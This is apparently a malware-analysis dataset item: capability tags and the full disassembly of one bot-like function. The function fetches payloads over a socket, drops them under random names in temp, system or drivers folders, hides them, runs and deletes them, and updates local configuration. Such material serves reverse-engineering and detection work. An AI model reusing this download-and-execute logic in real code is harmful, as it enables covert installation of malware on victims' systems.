Function at 0x40c913
Capabilities:
Create process on windows
Delete file
Get common file path
Query environment variable
Set file attributes
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x494
push ebx
xor ebx, ebx
push esi
push edi
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x40], ebx
cmp dword [0x41366c], ebx
je 0x40c937
cmp dword [0x413670], ebx
jne 0x40c93c
call fcn.0040c517
cmp dword [0x41366c], ebx
je 0x40cb69
cmp dword [0x413670], ebx
je 0x40cb69
push 0x14
push str.wtm_c
mov esi, str.time_cfg
xor edi, edi
push esi
inc edi
push edi
call fcn.0040e819
push 0x28
push str.wtm_w
push esi
push edi
mov dword [0x412104], eax
call fcn.0040e819
push 0x28
push str.wtm_r
push esi
push edi
mov dword [0x41210c], eax
call fcn.0040e819
add esp, 0x30
mov dword [0x412108], eax
cmp dword [0x4136b0], ebx
jne 0x40c9b8
push 0x100000
call fcn.0040ebcc
pop ecx
mov dword [0x4136b0], eax
cmp eax, ebx
je 0x40cb69
mov edx, dword [0x413674]
mov ecx, dword [0x41366c]
mov eax, edx
imul eax, eax, 0x45
mov dword [ebp - 8], ebx
cmp dword [eax + ecx + 0x41], ebx
jne 0x40c9fd
mov esi, dword [0x413670]
cmp dword [ebp - 8], esi
jge 0x40c9fd
lea eax, [edx + 1]
cdq
idiv esi
inc dword [0x41367c]
inc dword [ebp - 8]
mov eax, edx
imul eax, eax, 0x45
mov dword [0x413674], edx
cmp dword [eax + ecx + 0x41], ebx
je 0x40c9d8
imul edx, edx, 0x45
lea eax, [edx + ecx]
mov ecx, dword [eax + 0x41]
cmp ecx, ebx
je 0x40cb69
push ecx
inc eax
push eax
call fcn.00402684
pop ecx
push eax
call fcn.0040f428
pop ecx
pop ecx
mov dword [ebp - 0xc], eax
cmp eax, ebx
jg 0x40ca30
call fcn.0040c8aa
jmp 0x40cb6b
push ebx
mov esi, 0xc8
push esi
lea ecx, [ebp - 0x27c]
push ecx
push eax
call fcn.0040f43e
add esp, 0x10
cmp eax, esi
je 0x40ca56
push dword [ebp - 0xc]
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x40ca26
lea eax, [ebp - 0x27c]
push esi
push eax
call fcn.00408f53
cmp dword [ebp - 0x1f0], 0xff
pop ecx
pop ecx
ja 0x40ca4b
cmp dword [ebp - 0x1fc], 7
ja 0x40ca4b
cmp dword [ebp - 0x1f8], 7
ja 0x40ca4b
push dword [ebp - 0x1ec]
mov esi, str.localcfg
push 0x410750
push esi
push edi
mov dword [0x413684], edi
mov dword [0x413678], ebx
mov dword [0x41367c], ebx
call fcn.0040ea84
push ebx
call fcn.0040f04e
push dword [ebp - 0x1e8]
mov dword [ebp - 0x64], eax
push 0x410ff0
push esi
push edi
mov dword [ebp - 0x60], edx
call fcn.0040ea84
push dword [ebp - 0x64]
push str.local_time
push esi
push edi
call fcn.0040ea84
lea eax, [ebp - 0x27c]
push eax
lea eax, [ebp - 0x1b4]
push eax
call fcn.00408fb6
lea eax, [ebp - 0x27c]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.00408fb6
add esp, 0x44
push 0x64
lea eax, [ebp - 0x2e0]
push ebx
push eax
call fcn.0040ee2a
lea eax, [ebp - 0x30]
push eax
push 0x64
push 0x412118
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x27c]
push eax
push dword [ebp - 0xc]
mov dword [ebp - 0x2d4], edi
mov dword [ebp - 0x2ac], 0x100007f
mov dword [ebp - 0x2d8], edi
mov dword [ebp - 0x2cc], 0x1f
mov dword [ebp - 0x2dc], ebx
mov dword [ebp - 0x23], 0x37
call fcn.0040c65c
add esp, 0x24
test eax, eax
jg 0x40cb70
push dword [ebp - 0xc]
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov dword [0x412148], ebx
mov byte [0x41215a], bl
mov edi, dword [ebp - 0xc]
lea eax, [ebp - 0x30]
push eax
mov esi, 0x100000
push esi
push dword [0x4136b0]
lea eax, [ebp - 0x1b4]
push eax
lea eax, [ebp - 0x27c]
push eax
push edi
call fcn.0040c75d
add esp, 0x18
cmp eax, 0xfffffffe
je 0x40dad2
cmp eax, ebx
jl 0x40cb7c
mov eax, dword [ebp - 0x23]
cmp eax, ebx
je 0x40dae8
cmp eax, 1
je 0x40d662
cmp eax, 2
je 0x40d5ec
cmp eax, 0xa
je 0x40d5d8
jbe 0x40d589
cmp eax, 0xc
jbe 0x40ce26
cmp eax, 0x1b
jne 0x40d589
cmp dword [ebp - 0x30], 0xc
jbe 0x40cdf2
call fcn.00407e2f
test eax, eax
jne 0x40cb7c
mov eax, dword [0x4136b0]
mov dword [ebp - 8], eax
cmp byte [0x4121a8], bl
je 0x40cdd2
lea eax, [ebp - 0x194]
push eax
push 0x120
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x194]
push eax
call fcn.00408274
pop ecx
mov edi, eax
call fcn.0040eca5
mov esi, eax
and esi, 3
add esi, 5
jmp 0x40cc64
call fcn.0040eca5
xor edx, edx
push 0x1a
pop ecx
div ecx
add dl, 0x61
mov byte [ebp + edi - 0x194], dl
inc edi
dec esi
cmp esi, ebx
jg 0x40cc4c
push 0xc8
push 0xe4
push 5
push 0x410694
mov esi, 0x4122f8
push esi
call fcn.00402544
push eax
lea eax, [ebp + edi - 0x194]
push eax
call fcn.0040ef00
mov edi, 0x100
push edi
push ebx
push esi
call fcn.0040ee2a
add esp, 0x28
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x40cdd2
push ebx
lea eax, [ebp - 0x60]
push eax
mov eax, dword [ebp - 0x30]
add eax, 0xfffffff4
push eax
mov eax, dword [ebp - 8]
add eax, 0xc
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 4]
test eax, eax
je 0x40cdcc
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4121a8
lea eax, [ebp - 0x194]
push eax
push 0xc8
push 0xe4
push 0xc
push 0x410fe4
push esi
call fcn.00402544
add esp, 0x14
push eax
lea eax, [ebp - 0x494]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push edi
push ebx
push esi
call fcn.0040ee2a
push 0x44
pop esi
push esi
lea eax, [ebp - 0x324]
push ebx
push eax
call fcn.0040ee2a
push 0x10
lea eax, [ebp - 0x74]
push ebx
push eax
mov dword [ebp - 0x324], esi
call fcn.0040ee2a
add esp, 0x34
call fcn.00407fcf
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x324]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
lea eax, [ebp - 0x494]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40cdb8
push 0xea60
push dword [ebp - 0x74]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x70]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x74]
call esi
push ebx
call fcn.0040f04e
add eax, 0xe10
adc edx, ebx
pop ecx
mov dword [0x4136a8], eax
mov dword [0x4136ac], edx
call fcn.00407ee6
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x40cdd2
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 4]
mov dword [0x4121a4], ecx
mov eax, dword [eax + 8]
push ebx
mov dword [0x4122d4], eax
call fcn.00407ead
pop ecx
jmp 0x40cb7c
mov eax, dword [0x4136b0]
mov ecx, dword [eax + 4]
mov dword [0x4121a4], ecx
mov eax, dword [eax + 8]
push ebx
mov dword [0x4122d4], eax
call fcn.0040f04e
add eax, 0xe10
adc edx, ebx
pop ecx
mov dword [0x4136a8], eax
mov dword [0x4136ac], edx
jmp 0x40cb7c
mov esi, dword [0x4136b0]
xor edi, edi
mov dword [ebp - 0x38], ebx
mov dword [ebp - 4], esi
cmp dword [esi], ebx
jle 0x40cea0
add esi, 8
mov eax, dword [esi - 4]
dec eax
dec eax
je 0x40ce87
dec eax
je 0x40ce68
dec eax
jne 0x40ce95
push dword [esi]
push str.flags_upd
push str.localcfg
push 1
call fcn.0040ea84
mov eax, dword [esi]
add esp, 0x10
or dword [0x41211c], eax
jmp 0x40ce95
push dword [esi]
push str.lid_file_upd
push str.localcfg
push 1
call fcn.0040ea84
mov eax, dword [esi]
add esp, 0x10
mov dword [0x41213c], eax
jmp 0x40ce95
mov eax, dword [esi]
mov dword [ebp - 0x38], 1
mov dword [0x412138], eax
mov eax, dword [ebp - 4]
inc edi
add esi, 8
cmp edi, dword [eax]
jl 0x40ce3b
mov ecx, dword [0x4136b0]
mov eax, edi
lea esi, [ecx + eax*8 + 4]
mov ecx, dword [ebp - 0x30]
lea eax, [ecx + eax*8 + 4]
mov ecx, dword [esi + 0x124]
add ecx, 0x128
mov dword [ebp - 4], eax
cmp ecx, eax
jmp 0x40d53e
cmp dword [ebp - 4], ebx
jbe 0x40d547
test byte [esi], 3
je 0x40d519
push 0x120
lea eax, [ebp - 0x194]
push ebx
push eax
call fcn.0040ee2a
mov eax, dword [esi]
add esp, 0xc
xor edi, edi
mov ecx, 0x100
test eax, 0xf80
jne 0x40cf04
or eax, ecx
mov dword [esi], eax
mov eax, dword [esi]
test eax, 0x800
je 0x40cf27
and eax, 0xfffff7ff
mov dword [esi], eax
cmp byte [0x41201e], bl
je 0x40cf20
or eax, ecx
jmp 0x40cf25
or eax, 0x200
mov dword [esi], eax
mov eax, dword [esi]
test al, al
jns 0x40cf81
lea edi, [esi + 4]
mov eax, edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x40cf35
sub eax, ecx
push eax
lea eax, [ebp - 0x194]
push edi
push eax
call fcn.0040ee08
lea eax, [ebp - 0x194]
add esp, 0xc
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40cf58
sub eax, edi
mov edi, eax
cmp edi, ebx
je 0x40d086
mov al, byte [ebp + edi - 0x195]
cmp al, 0x5c
je 0x40d086
cmp al, 0x2f
jmp 0x40d013
test ecx, eax
je 0x40cfdc
push 0x100
lea eax, [ebp - 0x194]
push eax
push 0xc8
push 0xe4
push 0xc
push 0x410a3c
mov edi, 0x4122f8
push edi
call fcn.00402544
add esp, 0x14
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push 0x100
push ebx
push edi
call fcn.0040ee2a
lea eax, [ebp - 0x194]
add esp, 0xc
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40cfcf
sub eax, edi
mov edi, eax
jmp 0x40d007
test eax, 0x200
je 0x40d020
push 0x100
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [ebp - 0x194]
lea eax, [edi + 1]
mov cl, byte [edi]
inc edi
cmp cl, bl
jne 0x40cffe
sub edi, eax
cmp edi, ebx
je 0x40d086
cmp byte [ebp + edi - 0x195], 0x5c
je 0x40d086
mov byte [ebp + edi - 0x194], 0x5c
inc edi
jmp 0x40d086
test eax, 0x400
je 0x40d086
push 0x100
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x194]
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40d042
sub eax, edi
cmp eax, ebx
je 0x40d061
cmp byte [ebp + eax - 0x195], 0x5c
je 0x40d061
mov byte [ebp + eax - 0x194], 0x5c
lea eax, [ebp - 0x194]
push str.drivers_
push eax
call fcn.0040ef1e
pop ecx
lea edi, [ebp - 0x194]
pop ecx
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
cmp al, bl
jne 0x40d07d
sub edi, ecx
test byte [esi], 4
je 0x40d0fe
call fcn.0040eca5
push 5
xor edx, edx
pop ecx
div ecx
add dl, 3
mov byte [ebp - 0xd], dl
je 0x40d0bb
call fcn.0040eca5
xor edx, edx
push 0x19
pop ecx
div ecx
add dl, 0x61
mov byte [ebp + edi - 0x194], dl
inc edi
dec byte [ebp - 0xd]
jne 0x40d09f
mov byte [ebp + edi - 0x194], bl
mov eax, dword [esi]
test al, 0xa
jne 0x40d0de
test al, 0x10
je 0x40d0d3
push str..sys
jmp 0x40d105
test al, 0x20
je 0x40d112
push str..dat
jmp 0x40d105
push 0xc8
push 0xe4
push 5
push 0x410694
push 0x4122f8
call fcn.00402544
add esp, 0x14
jmp 0x40d104
lea eax, [esi + 0x104]
push eax
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
test byte [esi], 0x40
je 0x40d12c
lea eax, [ebp - 0x34]
push eax
push ebx
push ebx
push ebx
push ebx
push 0x22c808
call fcn.00408e26
add esp, 0x18
cmp dword [ebp - 0x23], 0xc
jne 0x40d15b
lea eax, [ebp - 0x194]
push str..dat
push eax
call fcn.0040ee95
pop ecx
pop ecx
test eax, eax
je 0x40d15b
push 0x80
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push 0x80
push 2
push ebx
push ebx
push 0xc0000000
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40d331
push ebx
lea ecx, [ebp - 0x34]
push ecx
push dword [esi + 0x124]
lea eax, [esi + 0x128]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x23], 0xc
jne 0x40d1ce
lea eax, [ebp - 0x194]
push str..dat
push eax
call fcn.0040ee95
pop ecx
pop ecx
test eax, eax
je 0x40d1ce
push 2
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x194]
push str..dat
push eax
mov dword [ebp - 8], 1
call fcn.0040ee95
pop ecx
pop ecx
test eax, eax
je 0x40d468
push 0x120
lea eax, [ebp - 0x194]
push ebx
push eax
call fcn.0040ee2a
add esp, 0xc
mov edi, 0x100
push edi
lea eax, [ebp - 0x194]
push eax
push 0xc8
push 0xe4
push 0xc
push 0x410a3c
push 0x4122f8
call fcn.00402544
add esp, 0x14
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push edi
push ebx
push 0x4122f8
call fcn.0040ee2a
lea eax, [ebp - 0x194]
add esp, 0xc
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40d24f
sub eax, edi
cmp eax, ebx
je 0x40d26e
cmp byte [ebp + eax - 0x195], 0x5c
je 0x40d26e
mov byte [ebp + eax - 0x194], 0x5c
lea eax, [esi + 0x104]
push eax
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp dword [ebp - 0x23], 0xc
jne 0x40d2b1
lea eax, [ebp - 0x194]
push str..dat
push eax
call fcn.0040ee95
pop ecx
pop ecx
test eax, eax
je 0x40d2b1
push 0x80
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push 0x80
push 2
push ebx
push ebx
push 0xc0000000
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40d468
push ebx
lea eax, [ebp - 0x34]
push eax
push dword [esi + 0x124]
lea eax, [esi + 0x128]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x23], 0xc
jne 0x40d468
lea eax, [ebp - 0x194]
push str..dat
push eax
call fcn.0040ee95
pop ecx
pop ecx
test eax, eax
je 0x40d468
push 2
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x40d468
push 0x120
lea eax, [ebp - 0x194]
push ebx
push eax
call fcn.0040ee2a
add esp, 0xc
mov edi, 0x100
push edi
lea eax, [ebp - 0x194]
push eax
push 0xc8
push 0xe4
push 0xc
push 0x410a3c
push 0x4122f8
call fcn.00402544
add esp, 0x14
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push edi
push ebx
push 0x4122f8
call fcn.0040ee2a
lea eax, [ebp - 0x194]
add esp, 0xc
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40d390
sub eax, edi
cmp eax, ebx
je 0x40d3af
cmp byte [ebp + eax - 0x195], 0x5c
je 0x40d3af
mov byte [ebp + eax - 0x194], 0x5c
lea eax, [esi + 0x104]
push eax
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp dword [ebp - 0x23], 0xc
jne 0x40d3f2
lea eax, [ebp - 0x194]
push str..dat
push eax
call fcn.0040ee95
pop ecx
pop ecx
test eax, eax
je 0x40d3f2
push 0x80
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push 0x80
push 2
push ebx
push ebx
push 0xc0000000
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40d468
push ebx
lea eax, [ebp - 0x34]
push eax
push dword [esi + 0x124]
lea eax, [esi + 0x128]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x23], 0xc
jne 0x40d461
lea eax, [ebp - 0x194]
push str..dat
push eax
call fcn.0040ee95
pop ecx
pop ecx
test eax, eax
je 0x40d461
push 2
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [ebp - 8], 1
test byte [esi], 0x40
je 0x40d482
lea eax, [ebp - 0x34]
push eax
push ebx
push ebx
push ebx
push ebx
push 0x22c80c
call fcn.00408e26
add esp, 0x18
test byte [esi], 2
je 0x40d519
cmp dword [ebp - 8], ebx
je 0x40d519
push 1
call fcn.00407ead
call fcn.00407fcf
push 0x44
pop edi
push edi
lea eax, [ebp - 0x368]
push ebx
push eax
call fcn.0040ee2a
add esp, 0x10
lea eax, [ebp - 0x1a4]
push eax
lea eax, [ebp - 0x368]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push 0x410264
lea eax, [ebp - 0x194]
push eax
mov dword [ebp - 0x368], edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40d500
push dword [ebp - 0x1a0]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x1a4]
call edi
jmp 0x40d519
call fcn.00407ee6
push ebx
call fcn.00407ead
pop ecx
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esi + 0x124]
mov ecx, 0xfffffed8
sub ecx, eax
add dword [ebp - 4], ecx
lea esi, [esi + eax + 0x128]
mov eax, dword [esi + 0x124]
add eax, 0x128
cmp eax, dword [ebp - 4]
mov dword [ebp - 8], ebx
jbe 0x40cec9
test byte [0x41211c], 4
je 0x40cb7c
cmp dword [ebp - 0x38], ebx
je 0x40cb7c
cmp byte [0x41201d], bl
je 0x40cb7c
push dword [ebp - 0xc]
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040e318
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor edi, edi
mov eax, dword [edi + 0x413300]
cmp eax, ebx
je 0x40d5c8
mov esi, dword [eax + 0x40]
cmp esi, ebx
je 0x40d5c8
xor edx, edx
add eax, 0xc
mov ecx, dword [eax]
cmp ecx, ebx
je 0x40d5c8
cmp ecx, dword [ebp - 0x23]
je 0x40d5b7
inc edx
add eax, 4
cmp edx, 0xa
jl 0x40d5a1
jmp 0x40d5c8
push dword [ebp - 0x30]
push dword [0x4136b0]
push dword [ebp - 0x23]
call esi
add esp, 0xc
add edi, 4
cmp edi, 0x80
jb 0x40d58b
jmp 0x40cb7c
push dword [ebp - 0x30]
push dword [0x4136b0]
call fcn.004031d0
pop ecx
jmp 0x40cdec
push dword [0x4136b0]
call fcn.0040df4c
pop ecx
test eax, eax
je 0x40cb7c
mov eax, dword [0x4136b0]
push 8
mov esi, str.work_srv
add eax, 4
push esi
push eax
call fcn.0040ed3b
mov eax, dword [0x4136b0]
xor edi, edi
inc edi
add esp, 0xc
cmp dword [eax], edi
jne 0x40cb7c
add eax, 4
push esi
push eax
call fcn.0040eed1
pop ecx
pop ecx
test eax, eax
jne 0x40cb7c
mov dword [0x413680], ebx
mov dword [0x413674], ebx
mov dword [0x413678], ebx
mov dword [0x41367c], ebx
call fcn.0040c517
mov dword [ebp - 0x40], edi
jmp 0x40cb7c
mov eax, dword [0x4136b0]
mov ecx, dword [eax]
mov dword [ebp - 0x14], ecx
mov edx, dword [eax + 4]
mov dword [ebp - 0x48], edx
test cl, 0x18
je 0x40d6c7
and ecx, 0x10
push ecx
push esi
push eax
jmp 0x40d6bb
lea ecx, [ebp - 0x30]
push ecx
push eax
push dword [0x4136b0]
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x27c]
push eax
push edi
mov dword [ebp - 0x23], 4
call fcn.0040c65c
add esp, 0x18
test eax, eax
jle 0x40dad2
mov eax, dword [ebp - 0x14]
and eax, 0x10
push eax
push esi
push dword [0x4136b0]
call fcn.00403c09
add esp, 0xc
cmp eax, ebx
jne 0x40d67f
test byte [ebp - 0x14], 1
je 0x40d707
push dword [0x4136b0]
call fcn.00403a00
lea eax, [ebp - 0x30]
push eax
push 0x28
push dword [0x4136b0]
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x27c]
push eax
push edi
mov dword [ebp - 0x23], 3
call fcn.0040c65c
add esp, 0x1c
test eax, eax
jle 0x40dad2
test byte [ebp - 0x14], 4
je 0x40d754
push 0x71c7
push dword [0x4136b0]
call fcn.0040e7b4
pop ecx
pop ecx
cmp eax, ebx
jle 0x40d754
imul eax, eax, 0x24
lea ecx, [ebp - 0x30]
push ecx
push eax
push dword [0x4136b0]
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x27c]
push eax
push edi
mov dword [ebp - 0x23], 2
call fcn.0040c65c
add esp, 0x18
test eax, eax
jle 0x40dad2
test byte [ebp - 0x14], 0x40
je 0x40d79e
jmp 0x40d783
lea ecx, [ebp - 0x30]
push ecx
push eax
push dword [0x4136b0]
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x27c]
push eax
push edi
call fcn.0040c65c
add esp, 0x18
test eax, eax
jle 0x40dad2
push esi
push dword [0x4136b0]
lea eax, [ebp - 0x23]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.0040c06c
add esp, 0x10
cmp eax, ebx
jne 0x40d75c
test byte [ebp - 0x14], 0x80
je 0x40d8b3
xor edi, edi
cmp byte [0x412184], bl
je 0x40d82a
lea eax, [ebp - 0x194]
push 0x120
push eax
call fcn.00406f5f
mov eax, dword [0x412130]
pop ecx
pop ecx
and eax, 0x600
push 0x412184
neg eax
sbb eax, eax
and eax, 0x20
lea ecx, [ebp - 0x194]
push ecx
add eax, 0x20
push eax
movzx eax, byte [0x412159]
push eax
push dword [0x412134]
push dword [0x412120]
push 0xc8
push 0xe4
push 0x27
push 0x410fa0
push 0x4122f8
call fcn.00402544
add esp, 0x14
push eax
push dword [0x4136b0]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
mov edi, eax
mov esi, dword [0x4122d8]
cmp esi, ebx
je 0x40d85b
mov eax, esi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x40d839
sub eax, ecx
mov dword [ebp - 0x38], eax
inc eax
push eax
mov eax, dword [0x4136b0]
add eax, edi
push esi
push eax
call fcn.0040ee08
add esp, 0xc
add edi, dword [ebp - 0x38]
cmp edi, ebx
je 0x40d8b3
lea eax, [ebp - 0x30]
push eax
push edi
push dword [0x4136b0]
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x27c]
push eax
push dword [ebp - 0xc]
mov dword [ebp - 0x23], 0xb
call fcn.0040c65c
add esp, 0x18
test eax, eax
jle 0x40dad2
cmp byte [0x412184], bl
je 0x40d89d
mov byte [0x412184], bl
mov eax, dword [0x4122d8]
cmp eax, ebx
je 0x40d8b3
push eax
call fcn.0040ec2e
pop ecx
mov dword [0x4122d8], ebx
test dword [ebp - 0x14], 0x100
je 0x40d93a
mov edi, 0x410264
push edi
push 0x100000
push dword [0x4136b0]
mov esi, str.except_info
push esi
push str.localcfg
push 1
call fcn.0040e854
mov eax, dword [0x4136b0]
add esp, 0x18
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x40d8ea
sub eax, ecx
mov dword [ebp - 8], eax
cmp eax, ebx
jle 0x40d93a
push edi
push esi
push str.localcfg
push 1
call fcn.0040e8a1
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x58]
push dword [0x4136b0]
mov dword [ebp - 0x23], 0xf
push eax
lea eax, [ebp - 0x27c]
push eax
push dword [ebp - 0xc]
call fcn.0040c65c
add esp, 0x28
test eax, eax
jle 0x40dad2
test dword [ebp - 0x14], 0x400
je 0x40da0e
call fcn.00407dd6
test eax, eax
jne 0x40da0e
push ebx
call fcn.0040f04e
pop ecx
cmp dword [0x4136ac], edx
jg 0x40da0e
jl 0x40d975
cmp dword [0x4136a8], eax
ja 0x40da0e
cmp byte [0x4121a8], bl
je 0x40da0e
cmp dword [0x4121a4], ebx
jne 0x40d9c9
push ebx
lea eax, [ebp - 0x44]
push eax
push 0x4121a8
call fcn.0040675c
mov esi, eax
add esp, 0xc
cmp esi, ebx
je 0x40d9c1
push ebx
push dword [ebp - 0x44]
push esi
call fcn.004024c2
mov dword [0x4122d4], eax
mov eax, dword [ebp - 0x44]
push esi
mov dword [0x4121a4], eax
call fcn.0040ec2e
add esp, 0x10
cmp dword [0x4121a4], ebx
je 0x40da0e
mov eax, dword [0x4136b0]
mov dword [eax], ebx
mov ecx, dword [0x4121a4]
mov dword [eax + 4], ecx
mov ecx, dword [0x4122d4]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x30]
push ecx
push 0xc
push eax
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x27c]
push eax
push dword [ebp - 0xc]
mov dword [ebp - 0x23], 0x34
call fcn.0040c65c
add esp, 0x18
test eax, eax
jle 0x40dad2
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x3c], ebx
jne 0x40dad2
mov eax, dword [ebp - 4]
mov edi, dword [eax + 0x413300]
cmp edi, ebx
je 0x40da90
mov eax, dword [edi + 0x4c]
cmp eax, ebx
je 0x40da90
mov esi, 0x100000
push esi
push dword [0x4136b0]
lea ecx, [ebp - 0x23]
push ecx
lea ecx, [ebp - 0x48]
push ecx
call eax
jmp 0x40da7d
lea ecx, [ebp - 0x30]
push ecx
push eax
push dword [0x4136b0]
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x27c]
push eax
push dword [ebp - 0xc]
call fcn.0040c65c
add esp, 0x18
test eax, eax
jle 0x40da89
push esi
push dword [0x4136b0]
lea eax, [ebp - 0x23]
push eax
lea eax, [ebp - 0x48]
push eax
call dword [edi + 0x4c]
add esp, 0x10
mov dword [ebp - 0x30], eax
cmp eax, ebx
jg 0x40da46
jmp 0x40da90
mov dword [ebp - 0x3c], 1
add dword [ebp - 4], 4
cmp dword [ebp - 4], 0x80
jb 0x40da11
cmp dword [ebp - 0x3c], ebx
jne 0x40dad2
lea eax, [ebp - 0x30]
push eax
push ebx
push dword [0x4136b0]
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x27c]
push eax
push dword [ebp - 0xc]
mov dword [ebp - 0x23], ebx
call fcn.0040c65c
add esp, 0x18
test eax, eax
jg 0x40cb7c
push dword [ebp - 0xc]
call dword [sym.imp.WS2_32.dll_closesocket]
call fcn.0040e318
mov eax, dword [ebp - 0x40]
jmp 0x40cb6b
xor esi, esi
inc esi
xor eax, eax
inc eax
mov ecx, esi
shl eax, cl
test dword [ebp - 0x1f], eax
je 0x40db23
cmp byte [esi + 0x41215c], bl
jne 0x40db23
cmp esi, 3
je 0x40db23
push 0xa
lea eax, [ebp - 0x5c]
push eax
push esi
call fcn.0040f1ed
lea eax, [ebp - 0x5c]
push eax
push 5
push 0x408c51
call fcn.0040e654
add esp, 0x18
inc esi
cmp esi, 0x20
jb 0x40daeb
jmp 0x40cb7c